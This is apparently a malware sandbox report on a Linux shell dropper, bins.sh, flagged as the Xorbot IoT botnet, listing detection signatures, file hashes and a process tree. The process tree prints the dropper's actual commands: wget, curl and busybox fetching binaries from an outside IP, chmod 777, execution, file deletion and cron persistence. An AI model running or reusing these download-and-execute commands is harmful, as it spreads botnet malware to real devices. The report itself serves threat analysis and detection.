Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    92s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18/01/2025, 19:52

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250118-ylc3batlbm
  • SHA256 372c683dc185bdf92bc0af8b7ad4e3f9edd2652c24711970874a2bae678933f3
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1857) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:657
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:665
        • /usr/bin/wget
          wget http://66.63.187.225/bins/ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
          2⤵
          • Writes file to tmp directory
          PID:667
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:678
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
          ./ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
          2⤵
          • Executes dropped EXE
          PID:692
        • /bin/rm
          rm ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
          2⤵
            PID:694
          • /usr/bin/wget
            wget http://66.63.187.225/bins/xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
            2⤵
            • Writes file to tmp directory
            PID:695
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:696
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
            2⤵
            • Writes file to tmp directory
            PID:700
          • /bin/chmod
            chmod 777 xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
            2⤵
            • File and Directory Permissions Modification
            PID:703
          • /tmp/xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
            ./xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
            2⤵
            • Executes dropped EXE
            PID:704
          • /bin/rm
            rm xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
            2⤵
              PID:707
            • /usr/bin/wget
              wget http://66.63.187.225/bins/OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
              2⤵
              • Writes file to tmp directory
              PID:708
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:715
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
              2⤵
              • Writes file to tmp directory
              PID:722
            • /bin/chmod
              chmod 777 OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
              2⤵
              • File and Directory Permissions Modification
              PID:725
            • /tmp/OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
              ./OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:726
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:729
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:730
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:732
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:733
                  • /bin/rm
                    rm OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
                    2⤵
                      PID:736
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                      2⤵
                        PID:740
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                        2⤵
                          PID:741
                        • /bin/busybox
                          /bin/busybox wget http://66.63.187.225/bins/7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                          2⤵
                          • Writes file to tmp directory
                          PID:795
                        • /bin/chmod
                          chmod 777 7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                          2⤵
                          • File and Directory Permissions Modification
                          PID:834
                        • /tmp/7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                          ./7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                          2⤵
                          • Executes dropped EXE
                          PID:835
                        • /bin/rm
                          rm 7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                          2⤵
                            PID:839
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/h3V8q5dd9gmoi6KBJskvgMg19ps1XfVtfV
                            2⤵
                              PID:842
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/h3V8q5dd9gmoi6KBJskvgMg19ps1XfVtfV
                              2⤵
                                PID:844

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                                  • Path /tmp/7CoztBMT1THHvtWahJ0k71AVPMx5dhfSlr
                                  • Size 122KB
                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
                                  • Path /tmp/OwUk7DB0giSBAIBPV5rFAC8H2DxX3gg0cR
                                  • Size 127KB
                                  • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
                                  • Path /tmp/ck230d48QLQwKfl6aqsl0q1hv7nqs7uo9a
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
                                  • Path /tmp/xd1QcXiZ5qQq87CTOzgs4hmVVYsRQTeaUc
                                  • Size 98KB
                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                  • MD5 SHA1 SHA512 SSDEEP
                                  Submit Download

                                  tmp.VDvaRu
                                  • Path /var/spool/cron/crontabs/tmp.VDvaRu
                                  • Size 210B
                                  • SHA256 6fe7cd13afc212800acfd24dd2d553d0293894b40a1625b25d3aacca1b424e8d
                                  • MD5 SHA1 SHA512
                                  Submit Download